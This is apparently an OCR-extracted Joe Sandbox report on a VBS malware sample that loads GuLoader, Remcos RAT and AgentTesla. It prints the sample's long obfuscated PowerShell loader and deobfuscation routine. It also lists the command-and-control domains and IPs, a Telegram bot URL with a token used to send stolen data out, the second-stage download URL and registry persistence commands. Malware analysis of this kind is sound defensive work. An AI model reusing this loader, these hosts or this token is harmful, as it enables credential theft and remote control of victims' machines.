0AGeBIn0CrBSmALIBAXDLoAUICBuAFa4MbEPa7Fa9KaBTrALICEfAPaFInAsI5FrAjoCKoAPaAMaBUNDKoAEt0InANa6SeASe7NoEDi7Sh8UpCalAUb4DIAE
t0foBChDKoEFo7Da8Re8HaBHoAMaBNaABeASpCspABo4InAOfBhjARh5ANBL0o0Ba8FoBfiBStCCaAal0SiAPr5CoAHaDshAAcCSkBFIBSt8Pu8UrAsiAPrAY
0AHUATICKrBInAKaBStASy9AI4TiFOn3kiFMa3Fo9viBPaBMoCHoAbr7WoECe0FyEGNn7ca8KoDKoAGeCAfAMaF StAco0BeACo7SkAfoCAN8StDAkBGeOmeAS
t7DaAIn8WoAJo4VeAKoOENANOACh8Ve4ScACr6KaAStDDrBArCFeAKu5SeAFrCFIEPa1MeECuDbi9HeBcyAReCCoAOsADIACo8LaABa5beAShA
BeAScOAmMBBrDteBExBfaAes8frBUnDUJACICFIFBrOTrEbe5afELy9PhEgiDDIABuFScAkm8BeAko5MaBLyAOvAGaCStESvODaEAa7no8liDStAMaCYiAReF
unAANOUNAKv7EKAENCOr90cDINBUNODaBIN9HVAMuCVeEUn1afEAMDMe8SpDStASoCMaAFr4CrAFa8ViAScENoABo7VaABrCPrBBaDFoAObOun
BANn3ReAPi8CaAreBUfAFi5BIATaCInFSn9PeEANn5fuEPU9DrECoDBuU8teDIIACaCllIANa4ReASk8PrAFrERhARe7BrAHjCNeBUMDBiIASa0HyBKo3WeAHe8Un
AFiBAfABUSPnASaCPrFGe8StEFiISLUESU9ANITi2Vi9BeAToBPuOFIBDeABrBFoDJaASkCQuAsk4SUEFr7Pa8Ry4SuBMiCVaAAc5BiBMaDSuAHoOSKATIAMa
AAr8EmBHeAPIBLIDfo8AnDTuABrCAtAPISFrAPrCEXAWaELIATr8BIBSnDSIAIMCMi9Un4EtEHa0BI'Tr;Po&Co(Ov' $PrDBleRdmGlaSmgDenPteChtaniF
rzstakebCalHaeEn7Wa)Bd Mi' $AnASkdfosElcMirPoiLapUntsuiZotCaiReuUnsMe2Di;St' $GaANedsmsAbcExrAeiMopSatTeiPutBoiViuNosRe3we Ta=Re TiH
TaTStBEr Ac'CaEGrDjo9GiFSwISkDAN8CuBNaEYa7Ex8InDCaAMoCOfAhyFMuABe0OBrAEI7PrAMeCCh8prAInAAn6ReADh7RdBMiATaBCuDCaBNoBSuBFrC
RaAScAGuBMiDmiABe6FrBCoBUnERa1BeEHUDTu9SkBChASeCpaAFoAHaAIN8MaAAu5koAsoALiAtr0ThBOpDStBSkBLaAEs8gaBAbDGaAfeCInFTsFBaEKr5
NaEsp9Su9Af2Fo9PoATaBSt0SkBvIAKaBSkDRhAAaCReANo4MIECr7Pr9BrBPrAprCAnAQuUFFrAFy5CyAKoCOmMAOrADeBSmDAfAXyODaAIn6InASe7HoEgu7
Kr8SaADeAOv8HeAAf5crAMi5skAPj0meAKa7MaALIEKo8KIASdABi6BaAFi7DaBIdFCIAPaCBoAEN7BiBbaDUtAFo0CoASe6FuABa7ArBNaARe9Ma4FuFLa3
PuFSc3EI9SIACeBUbDMoANo8UNADe7NoAKaDufAFi8LIBFeBHjASnDPrEGu5GUERU9ENEBrDCaBSyFsaAGa8SwBBaBMa9Us6 TrBCo9LuARo8De
BNrBKaAONn8TrABa4CpACoCOUBANDSIAUJCNoBQIBEVBTeAGeEOpPOANESt7I09SeABeACICFIBNrDTv8Ka0KuAox4WoBPI9SoAPISEdApICmyAP
a4DuASiICToABI7InBBiDuhALe8SnBINDLIAEf0ToASy6reANu7Af8FiFPoAPr5StAEC8GsASIEceBcoAKoEWa1AgEFoDFe9KuBSAAPYCMeAStATKATI8LUAE
x5SkAScAMaAUNOErBFIDSIBIsBScATn8KnBNeDFeAKaCTaFByEDIELaORo'Fo;An&Sp(Sp’$SoDBieBomcoaAggFunpseUntBuiWrzFaamabAfludeer7Ov)Gl
Di'$EvAAndSisUtcAnrSoiRapKotAciSttSpiApuNosRa3Sc;Te'$LaAApdChsUzcPhrSaiPrpButKaiGrtsailcuDrsLo4Bo Af=St SaHHITChBDi Kr'OuEteDKo
9PeFHy9NoDCa8RaBDeEPi7En8SnDAsAUJCnoAlrFReAIn0KuASa7InACrCBi8Ho4FaASaCTrBPaDFIACy1FoADrénoAMeDYeEBe1 TeEsuDDr8PeDPaAJoCBI
APa4crAFo8LnAJrEShAFo7alAGaCBIBFoDSuARe0WhBSt3BaAGu8JuAPaBMoARa5UiAReCHeFWiBBeEMe5QUELo9HoEFoDGe8BrDVrAPhCplAIn4RiABo8ta
ATaEObASt7KaASkCSuBMiDchAHeOMuBTa3KoASu8SuADaBSpAEmM5PrAFnCReFPIAVoEPa5JaEANnItrEPaDnoBSiFGeBInBAtBunDSoEHa5ReEH
a9KvEKoDVoBNyFPIAEc8AIBReBFo9Po6LaBOvIGgAde8InBkoBToANo8PaASk4dOIAMaCMeBReDEtANeCPrBMaBTrBPrAINEPoOunENo7Ca9AbA
HyAEfCOrBSeDve8PI0ReApr4 TrBRe9ILIATr5SpAKoCUNAF04CoAUNCSvALa7foBGNDBIAC0o8 ToBThDEmADaOsaARo60vABo7ANn8PsFPrADI5SpABo8FIALIE
AcBBeAafEMa1UIELaDTo9UtBHIADaCInAPhAPIASa8UdARa5teATIABrASkOUnBMaDStBMuBunAAf8MoBAsDSwWABoCAfFSpELeEBIOTU'En;En&Re(Fa' $Su
DvieSpmSualygRenBleEntJoiCazlnaPobpulAseTi7Ly)Re ga’ $kaAModUdsBecstrTriFopHatBiiswtFliTiuEnsHa4Ga;Co' $SkAChdPisIncCorBiinepBatHaiV
atteiinuErsTe5Fo Gi=uk FIHBeTHyBBo FI'DyBFrBJaAStCLeBLaDReBSpCInBInBBoALo7RoEPt9TmEbaDBe9HiIFAMIPeDTh8LaBVIEOv7Pa8UdATrBO
pBjiAtrCAfAKo8LeBReDDrAUNCC09CoDChBTy0KiBMa9GaASIiCFIESo1SkEOp0Go'ki;fl&Ca(Ba $deDSaeStmWoal ugNunBreOrtDiiTrzLiaGebSilMyeKo7Pr)Ga
Sp $JiALidHasRocUnrBriUppGetFeiTitDiiAdustsSk5Co Ki Pn Tr;Sk}Bo'$enkSukUI Sc=Sk SpHSITSaBLo Be'EnABa2MaALaCMiBPoBMoASu7SpAStCMoACo5
BiFAIAFjFAbBKe'Fo;Pa’$ViASidPrssucHarBeiFopOptUniEktSmiOkuSpsub6sp Ti=li PrHCaTWhBHo St'unEAIDToBPrFEnAOp8ViBviBAN9So6RaBFIFEIAMe8
BaEAr9EfFSm4BaEMi9BI9AM2UbIsIAUdBMaOMeBKiAInBLIDMe ARoCSuAUN4pjESt7DrofiBUdBSqCRe APr7GrBInDCaATrONaAby4FrAudCHyEDo7Mi8Fo0
beAHo7ReBBoDCoAFjCInBDoBReAEI6BoBPe9Vi9SuAFoANoCXyBFnBBIBMeFveAfe0OUALeASIAdeCKaBTjAChEDa7Ha8No4KoAOp8HoBAIBGaBAIAfoASe1
SkAPr8MiAZy5Ap9Dr4RuFKI3HjFRo3Cz8WiEkuAMeCSkBTwDRIi8SpDDeAAgCPsAGa5CIABeCRiADeEIsAKa8LaBLIDSIAKNCPr8PoFPjANa6PrBStBCi8SmF
BaBNaCSaAfr7InAAdASpBTvDApPAKIODoAIN6GeAHe7Na9SpINoAJo6FoABo0TrARa7KIBOIDTrASpCXiBFaBKiEin1SoEKn1brACaFDeAPh2UnBDa9CaEDe9
ChESeDTaASt2SuAVa2AIEMa9TeEBeDCa8WaDOpATICEIASt4UnAaf8GsAApEMiAsk7EgAFICSpBQUDFoAPrOSpBDe3HeATi8UsAOfBPaASa5Sh
AreCGIFSuDKoEOmOstERe5heEGI9chECa1Hy8NoEFo8AnDSI9SeDFeEEx9Sk8Ma9suESu1Pi9St2Sc8FI0ReATo7FIBLbDReIstIMiBArDdeBKrBBi9As4Or
ESt5AfESp9Ga9Ty2KI9PrCPe8Ro0InANo7FrBAaDUvFArAMiFMoBSp9R0o4CoEPe5UdESe9TroMe2Sk9SICru8EkOBeAFi7FIBfIDVeFHoASIFEmBOV9Ax4ur
EDu5PaEmu9UN90mM2PraLiCSk8Ar0SmALU7UnBCoDimFSpANoFCyBBroFl4MeEUnOMoEPad9LaEBe1Va9Pr2De8Re0CuASk7PrBEuDas9Sk9SgBG
rDSkBWiBFo9Do4HaEINOPUEAdOBaELa0Pr'Re;Su&At(Te' $AfDFueUdmSaaStgFrnBaeArtLaiStzSnaAgbFIIHoeSv7To)In Sy’ $UnAFadSIsLocudrUniPrpObtTii
GetUniCruZosRu6Pr;Fo $ChvFoaefrKl_SmnRutUn Be=Ud V aftokAppSk Sk’ $BrDPreGemDialngStnUneHotBaiHezKeaEmbaflbeeth5re Be'$OcDLaeFimRaaR
uglLanTeeKntPoiBezHraGabPolSjeSI6sa;Fo"$ldAMidVesToclnrMoiLapSwtPliEktOpiReuPasFr7Ba He=No PrHUpTPrBOr Ob'BeEMaDFu8Pe8seBNiBPrBFeDC
yAKnCSeASyFCrADe8GeANe2syBPeDKiAFICefBSeBFaFGUABIEAr9spFHu4DeEStIFIESsDFIBReFHaAre8ouBHuBPa9Di6BIBSeFUnAre8BiEH0o7Fa8Ri0M
eATi7miBDeFKoAKu6JaAst2teAINCTiEAN1An90p2Ak8HIOKIARe7AfBDeDLa9My9DoBStDReBPrBPraDy4reFTr3KaFEd3ri9Co3RiAVICKaBAsBHaAEKEO
rEMi5UnEUd9tiIFUKAMoFBIFTeFTrFToEKo5UnESa9RaFCe9NoBBo1RiFESAGIFBroBIFFo9TnFHa9MaEMa5PaEJa9GrFPe9FrBUN1trFLaDOVFKe9SKESVOO
V'Ap;In&0Om(pa’ $PeDSleWemcaacigPunLoeFatNeiDezHeaPabFriWiebl7Ve)Ac Py’ $MaARedPospicSkrM iTipTytObiamtoniSkuTesan7Pr;Su"$BiACodPrsBo
cKirusilcpDetSliPetLyiteuPesEf8Un Po=Tr FrHphTNaBDy Ti'ErEGrDcoAAc6fiBKaBEnABeOUnERa9ChFSp4SmEFI9SUETeDCoBafFIcADu8BIBRaBFraSveKIB
FiFJuASi8FoEPa7CI8Pe0MiAKo7raBVaFdiAMa6NaASp2ArASpCgaEbr1Ap9Re2At8Ku0CaASp7BIBKuDLa9Im9IMaBBoDPhBGwBRe9em4caFSt3PoFov3br9
st3VoAUNnCJeBmaBEsAAc6CoECISUnEO09MiFBa9KeBDe1BuFHj8SmFSk9DeF Un9foFCa9HUFAI9KoFEN9EgESo5BaEDe9UnFTa9JaBCl1 AKFPrATeFFi9TeF
Pi9NoFBu9opENs5BoELe9EUFBa9TaBEN1KrFToDTrELIOTi'Sk;Pe&Ln(in'$PrDQueKemKraDrgOpnReeUntWhiblzKraUrbKIIDaeAr7Os)Re La$luAgldNosAncHo
rUniSopNitEpiCotFsiaruUlsHy8Ha;Bu'$FosBspCaiOvlafdTeenuvDdaAnnOpdJosDrpPerFloKojDhe TekAptFleSerMy=By(chGFoeTatda-DolOrtBeeBomUdPGr
rsaoSppDiestrBetPhyCe An-DePSpadJatSIhSt Un'GaHAaKEfCStUPa:Ud\FIKOpyHaseahTaaViaManbodleearnSt\MidCouRemMepNoeCotDesSu'Vi)Br.SkiBea
LoyPnldraJasca;Va $KoAGedAdsStcinriniSepGrtheiTitFuifeuRasSp9Sa De=Ch UnHLyTInBFI Ve'NaEGrDPr8Gr8ReACyDGaBCaAAcAUNAFoBStBPrAkIOAIB
Ba9CaBImDPaARe0ONuBKoDPaAOtOUnBToCPrBAbASeEEN9riFCI4EMEbI9F09Ne2De9TrASkBSt0TaBbiAChBCoDSpAMeCIdAAN4PhEBe7Dd8TeAPaALo6SpA
Gr7ReBHiFCaALeCSeBDeBSkBGoDBe9Li4EmFHy3rgFUn3Ar8VeFNoBFiBenAin6DiAAa4Br8UnBFiApi8YvBAfABaAHeCSuFGrFFaFBaDin9VaAUnBCoDToB
OvBInALaOLrAAc7mbATrEStECo1SaEMaDBIBUdAFaBBe9CoASkONeABa5anANaDCaALeCJeBIdFAKATI8YdATa7DeAbaDUnBFoAEpBMI9ChBTr
BSvACabSvAPh3AgASyCJoAre2RuBvaDMiAUNCKeBINBJoESt0co'Co;Sa&Re(Fo' $imDbeeUdmSaaOugUdnMyeDetSaiDizLiaMebGelKoeOv7In)Le Su'$
CaABedcrsFreBaririSypDitLaiKetAdiAnuEpsSi9Am;De $TesAgpreiOplisdCheKlvLeaDenLadkosprplnrFdouljSkebukMatsheRurNo0St Sp=Ge JoHToTDeBMo
Re'Pr9Co2Ko9CiArhBLiI0chBSnATiBevDNeAPoCBaAANn4heESI7Ri9TyBUNnBCeCENAMo7PoBPaDFeATrOStABe4stAStCExEbu7is8Ch0GeAWa7SkBAID
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= cleanup

ReAInCInBMaBcoADe6MoBSi9Ad9HjANeAUdCReBFiBAIBUNnFKkADeOReAVaATIAOvCSUBEUAASESp7Hy8Af4MeARe8INnBTvBLNBSUAPrANo1PaASi8UdATo5
De9AI4UIFDr3UnFFo3Bu8ReARaAJo6FrBNi9kaBpoOHaETh1FrETwDSs8se8PaAAIDPaBWaAVoAPsAFnBDeBteASI0VeBFo9SuBBrDHyAToOkoBEgDdeAHe0
oIBGICPaBboAHaEEr5PoEVN9SeFLu9TeEuf5GIEDe9RUEbNIPaESIDMt8Di8JuBAMBteBimDItAVeCArABiFUsAHy8UdARd2MeBLIDtrATiCanBSaBBiFKuA
HaEGo5PaEOu9StFSkAHyYFLiFVaFCoFBIEEn0Xe'Er;Ma&Af(Ly' $scDCoeFrmGaaThgChnTreTjtPyiDizimaEpbTilSaeTa7Um)Ra Ta'$PosLapUniAnlEcdtre Trvde
aPonSadSasnypCorBooRejFoeSakVotdieSvrSnOLi;ph’$FasTyiSpzvaePa=Ha $GeAOvdbrsEqcAprstiPapQutHuiLitSyiunuWrsPa.AncinoBeutenUntAv-Ou3D
i6Si6 Ty;Af $BesMepMyiSylSadJdePevMeaAsnSydSpsSIpPirGroEwjHyeSukEntNeeRhrSa1Kr Le=ne HyHHaTInBSa Un'No9Pe2St9FIAGeBImOPuBStAbeBBeDT
rACoCTrASe4ReESa7Sa9SpBmoBGICEfASa7 TfBDUDKoAAfOMiASc4TiAofCMoEOr7Pa8lgONoALe7FiBTuDDeAJaCBoBChBMaAFi6GrBProCh9SwAJeAImCH
aBSaBOrBGrFFoAProKnASiAPrAHaCudBGeAVeEEI7Ed8CI4biAFr8NeBOdBRaBDeAGIACIr1 TrAGa8PsAPa5Gi9Ze4NoFBI3auFFo3Mo8KiAorAAfENeBKroT
aBDy0TiEUd1DIiENiDbr8 Ga8KaAPaDBhBENASKATyABgBVeBuoAAbOAbBDo9FoBSyDDiARe0BaBBoDWaAst0VuBSuCTaBTyAlmEFo5skEFI9FeFPIAWIFInFk
IFKrFVIiENe5VaEsv9HoESUDEVASp6tiBMiBKaAKIOBaEBa5SkvERI9SmESvDStBHaAChABa0CoBFI3SyACoCRmMEPsOIr'vi;No&Re(Di'$PaDUdeRamPraAvg
penAneAmtSyiSezSoaSvbSalfieDe70v)Sm Ko'$MusBrpDyijulDedMieovvJoaCanPhdAtsOrpFrrPaoFojNoePrkBotSoeKarHe 1Bv;Ca’$AgsRopGriJulPodBreAf
vRoaUdnSydChsStpFerAnoCijWeeStkAntWieRerTo2Un Ro=Sa MoHVeTFoBan la'inESaDPIBPjFMoARa8MiBUgBno9FI6guBTiBOpBAMCANACY7PeASy
4PuAShCOpETI9CeFCo4EXEDe9Fa9Un2un9ToAPaBTeOLIBEmASaBcrDPrACuCSoAFo4HoEPo7Re9PeBzyBBoCJeAka7HoBPrDJuAANOCuUAdi4P
aAgeCraEwo7Di8Fa0ReASe7StBAnDOVAGICABINBObAor6UnBLY9No9KaASaAOpCDiBINBAbBTrFToATy0BeAspAFIAArCskBINAWIEBr7Ba8Yd4YaABu8U
dBSkBVaBfoATeAHo1AbAFo8FaAMa5Jo9Wh4WeFMi3heFFo3Re8CrESKAINCRaBHoDGr8TaDANAVICkrAPr5ReAEfCFIATaEAIAAp8beBprDChAHaCPe8kIFU
dALi6GeBStBFo8gaFSuBShCafALr7AtATrASIBBaDHaAAN0SoAbr6 TyAFI7Uk9Fr9FoABréBuAPrOPoAHe7doBDoDanAMoCCrBAfBPaECh1PaEapDPr8gr8H
jBDvBAaBLoDSuASKCSfAFIFHIASY8DIADd2inBSuDMaASeCCeBhuBYdFFIAUNEBr5StEVe9CIENe1Ud8PhESa8InDOr9NaDBaELi9Ko8An9UNEIN1Ka9Ce2R
e8PIOErACr70mBSmDhy9No9HeBIdDCoBBeBUn9Ca4veELe50r9Ps2Be8St0CaAMa7 TjBUpDBI9Ud9KaBMyDLUBArBRe9do4SyEBI0SeEGroFrEAN1ProOp2U
n9CiFPoAEx6MoALa0VaAVeDSp9Ch4ChEWhOArEVa0BeEANOEN'Di;In&Ma(Li'$GeDCheEumOuaHvgLonNueUatFuiMizfjaKrbEtiOeeln7Fo)In Ma'$Fo
sDepGoiLalUndMieAmvWhalmnTydGesFipAnrDaoMojJaeUskOmtFaeHorso2Fi;Ou’ $AnsNypOviSplTadKoeBlvRealnnSadSisOppAlrbrochjHoeStkSttmoeBerre
3Pr Cu=Sa PhHFuTsiBpa Vo'ovEBIDHyBPuFwiASt8PeBkuBIn9Bo6VeBStBUNBKvCDiAUN7NaAGa4KoAFiCveEFa7Tr8SmOUdAFI7HaBDeFHeATa6HyARa
2EnASkCSaEEx1AdERoDMaADd6InBOpBSaANo0InEBr5TaEAdDINBHaFHaADi8AfBBaBce9No6RuASa7BuBUNDMoESUOMuU'Tr;Sw&Go(Se $ReD
HaeBemRoaPrgHenRoeSythuiLezPlaPabPjlHaeAa7No)Un ne'$ResStpHeiFulRedOteBrvHuaGonDedFesStpKvrlboDijSteFikFntReePIrSm3Ni#BI;"";;Function
spildevandsprojekter9 { param([String]$HS); For($i=2; $i -It $HS.Length-1; $i+=(2+1)){ $Brndoffers = $Brndoffers + $HS.Substring($i, 1); } $Brndoffers;}$C
hlorpikrin0 = spildevandsprojekter9 'AglPaEBeXBa ';$Chlorpikrin2 = spildevandsprojekter9 ‘CosLatHuaCerRytRe-RejAfoYVbRi ';$Chlorpikrin1= spildevandspr
ojekter9 $Damspils;;if([IntPtr]::size -eq 8){.$env:windinS*64\W*Power*\v1.0\*Il.exe $Chlorpikrin1 ;}else{&$Chlorpikrin0 $Chlorpikrin1;:};;; MD5:
C32CA4ACFCC635EC1EABED8A34DF5FAC)

. conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)

o [W CasPol.exe (PID: 3788 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)
o [W CasPol.exe (PID: 3248 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\caspol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)

Malware Configuration

@ No configs have been found

Yara Signatures

Memory Dumps

Source Rule Description Author Strings
0000000D.00000000.3773940652.0000000000E00000.0000  JoeSecurity_ GuLo  Yara detected Joe Security
0040.00000400.00020000.00000000.sdmp ader_2 GulLoader
00000008.00000002.7449931137.000000001F1C0000.0000  JoeSecurity Remc  Yara detected Joe Security
0004.00000800.00020000.00000000.sdmp 0s Remcos RAT
0000000D.00000002.7460473014.000000001D6D1000.0000 JoeSecurity_Agent Yara detected Joe Security
0004.00000800.00020000.00000000.sdmp Tesla_1 AgentTesla
0000000D.00000002.7460473014.000000001D6D1000.0000 JoeSecurity_Crede Yara detected Joe Security
0004.00000800.00020000.00000000.sdmp ntialStealer Credential Stealer
0000000D.00000002.7460473014.000000001D6D1000.0000 JoeSecurity_Teleg Yara detected Joe Security
0004.00000800.00020000.00000000.sdmp ramRAT Telegram RAT
Sigma Signatures

@ No Sigma rule has matched
Snort Signatures
ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.11.20 - Destination IP: 149.154.167.220 -
Timestamp: 192.168.11.20149.154.167.220498814432851779 11/28/22-20:47:47.307107
SID: 2851779
Source Port: 49881
Destination Port: 443
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Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

Yara detected Remcos RAT

Multi AV Scanner detection for domain / URL

Networking

Snort IDS alert for network traffic

Uses the Telegram API (likely for C&C communication)

Uses dynamic DNS services

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

E-Banking Fraud

5 B
®E K

Yara detected Remcos RAT

System Summary

=
=

Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)

Very long command line found

Data Obfuscation

Yara detected GuLoader
Obfuscated command line found

Boot Survival

Creates multiple autostart registry keys

Malware Analysis System Evasion

BE
x =

Tries to detect Any.run

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Stealing of Sensitive Information

=
=

Yara detected Telegram RAT

Yara detected AgentTesla

Yara detected Remcos RAT

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Copyright Joe Security LLC 2022
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Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Yara detected Telegram RAT

Yara detected AgentTesla

Yara detected Remcos RAT

Mitre Att&ck Matrix
Initial . . Privilege  Defense Credential _. Lateral .
Execution Persistence . . Discovery Collection
Access Escalation Evasion Access Movement
Valid Remote
Accounts Windows DLL Side- DLL Side- Disableor OS File and Services Archive
Manageme Loading Loading Modify Credential  Directory Collected
nt Tools Dumping Discovery Data
Instrument
ation
Default 000 FRemoe
Accounts Scripting Registry Process Deobfuscat Input System Desktop Data from
Run Keys /  Injection e/Decode  Capture Information  Protocol Local
Startup Files or Discovery System
Folder Information
Domain Logon SMB/Wind
Accounts Command  Script Registry Scripting Credentials = Security ows Admin  Email
and (Windows)  Run Keys / in Registry  Software Shares Collection
Scripting Startup Discovery
Interpreter Folder
Local Logon Logon 8 NTDS Distributed
Accounts PowerShell  Script Script Obfuscated Process Component Input
(Mac) (Mac) Files or Discovery  Object Capture
Information Model
Cloud Cron Network Network LSA SSH
Accounts Logon Logon DLL Side-  Secrets Virtualizatio Clipboard
Script Script Loading n/Sandbox Data
Evasion
Replication  Launchd Rc.commo  Rc.commo Cached VNC GUI Input
Through n n Virtualizatio Domain Application Capture
Removable n/Sandbox  Credentials Window
Media Evasion Discovery
External Scheduled  Startup Startup DCSync Network Windows Web Portal
Remote Task Items ltems Process Sniffing Remote Capture
Services Injection Manageme
nt

Behavior Graph
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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Ell O Type here to search o]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
IMG_2022028022-0120.vbs 0% Virustotal Browse
IMG_2022028022-0120.vbs 0% ReversinglLabs

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

Source Detection Scanner Label Link
myfrontmannyfive.ddns.net 1% Virustotal Browse
backupfrontmanny.duckdns.org 3% Virustotal Browse
sinopbisikletkiralama.com 9% Virustotal Browse
URLs

Source Detection Scanner Label Link
http:ifsinopbisikletkiralama.com/Bichloride.vbs 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains
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https://www.virustotal.com/gui/file/cdce0391762117cc926a2131b5e0ec7724b69d1224dbabc7a3f351dfebf9b9bf/detection/f-cdce0391762117cc926a2131b5e0ec7724b69d1224dbabc7a3f351dfebf9b9bf-1669657542
https://www.virustotal.com/gui/url/75e895d30441aaec14b2c23b5fcb5b904df64d8661c12a6566d5eef9895991f9/detection/u-75e895d30441aaec14b2c23b5fcb5b904df64d8661c12a6566d5eef9895991f9-1666084886
https://www.virustotal.com/gui/url/f913cf7985a70c38ebc579fb8e93a14f8affa997f15207c6b3f4b9c3cbcfa1c1/detection/u-f913cf7985a70c38ebc579fb8e93a14f8affa997f15207c6b3f4b9c3cbcfa1c1-1665082037
https://www.virustotal.com/gui/url/ffd5091a3083ca3e3351ee416418ef9a60220c089c84fca1ce6626444ad147aa/detection/u-ffd5091a3083ca3e3351ee416418ef9a60220c089c84fca1ce6626444ad147aa-1652977370

Name IP Active Malicious Antivirus Detection
myfrontmannyfive.ddns.net 37.0.14.209 true true « 1%, Virustotal, Browse
backupfrontmanny.duckdns.org 84.38.134.104 true true « 3%, Virustotal, Browse
sinopbisikletkiralama.com 172.67.169.218 true false « 9%, Virustotal, Browse
api.telegram.org 149.154.167.220 true false

f65kcg.am.files.1drv.com unknown unknown  false

onedrive.live.com unknown unknown  false

f64nqgg.am.files.1drv.com unknown unknown  false

Contacted URLs

Name Malicious Antivirus Detection
http://sinopbisikletkiralama.com/Bichloride.vbs true « Avira URL Cloud: safe
http:// false
https://api.telegram.org/bot2135733177:AAGBIQMSb9sct4MULOkpdpBOpPO3n3AKBfA/sendDocum

ent

World Map of Contacted IPs

P 1)
RN

iyl (%

] No.of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% < No. of IPs

Public IPs

IP Domain Country Flag ASN

37.0.14.209 myfrontmannyfive.ddns.n  Netherlands —1 198301
et

149.154.167.220 api.telegram.org United Kingdom = 62041

84.38.134.104 backupfrontmanny.duckd  Latvia (— 52048
ns.org

172.67.169.218 sinopbisikletkiralama.com  United States = 13335

General Information

Joe Sandbox Version: 36.0.0 Rainbow Opal

Analysis ID: 755530

Start date and time: 2022-11-28 20:42:33 +01:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 16m 29s
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ASN Name

WKD-ASIE

TELEGRAMRU
DATACLUBLV

CLOUDFLARENETUS

Reputation
unknown
unknown
unknown
high

high

high

high

Reputation
unknown

high

Malicious

true

false

true

false
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https://www.virustotal.com/gui/url/75e895d30441aaec14b2c23b5fcb5b904df64d8661c12a6566d5eef9895991f9/detection/u-75e895d30441aaec14b2c23b5fcb5b904df64d8661c12a6566d5eef9895991f9-1666084886
https://www.virustotal.com/gui/url/f913cf7985a70c38ebc579fb8e93a14f8affa997f15207c6b3f4b9c3cbcfa1c1/detection/u-f913cf7985a70c38ebc579fb8e93a14f8affa997f15207c6b3f4b9c3cbcfa1c1-1665082037
https://www.virustotal.com/gui/url/ffd5091a3083ca3e3351ee416418ef9a60220c089c84fca1ce6626444ad147aa/detection/u-ffd5091a3083ca3e3351ee416418ef9a60220c089c84fca1ce6626444ad147aa-1652977370

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: IMG_2022028022-0120.vbs

Cookbook file name: default.jos

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 22

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: « HCA enabled

« EGA enabled
« HDC enabled
« AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winVBS@16/7@22/4
EGA Information: « Successful, ratio: 75%

HDC Information: Failed

HCA Information: « Successful, ratio: 100%

« Number of executed functions: 0
« Number of non-executed functions: 0

Cookbook Comments: « Found application associated with file extension: .vbs
« Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, backgroundTaskHost.exe,
MoUsoCoreWorker.exe, svchost.exe, UsoClient.exe

TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted): 13.107.42.13, 13.107.42.12

Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, client.wns.windows.com, odc-web-geo.onedrive.akadns.net, tile-service.weather.microsoft.com, ctidl.wi
ndowsupdate.com, wdcp.microsoft.com, I-0004.I-msedge.net, wdcpalt.microsoft.com, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.I-0004.I-msedge.net, -0003.I-msedge.net, login.liv
e.com, odc-am-files-geo.onedrive.akadns.net, am-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.-msedge.net, odc-am-files-brs.onedrive.akadns.net

Execution Graph export aborted for target powershell.exe, PID 6472 because it is empty

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, t oo many NtAllocateVirtualMemory calls found.

Report size getting too big, t oo many NtOpenKeyEx calls found.

Report size getting too big, t oo many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

Report size getting too big, t oo many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time Type Description

20:45:16 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Hugi %tullio% -w 1 $Unrejoicing41=(Get-ltemP
roperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Expansiveness;%tullio% ($Unrejoicing41)

20:45:25 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Hugi %tullio% -w 1 $Unrejoicing4 1=(Get-lte
mProperty -Path 'HKCU:\SOFTWARE\AppDatalLow\").Expansiveness;%tullio% ($Unrejoicing41)

20:47:08 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Attractant %tullio% -w 1 $Sporing21=(Get-Ite
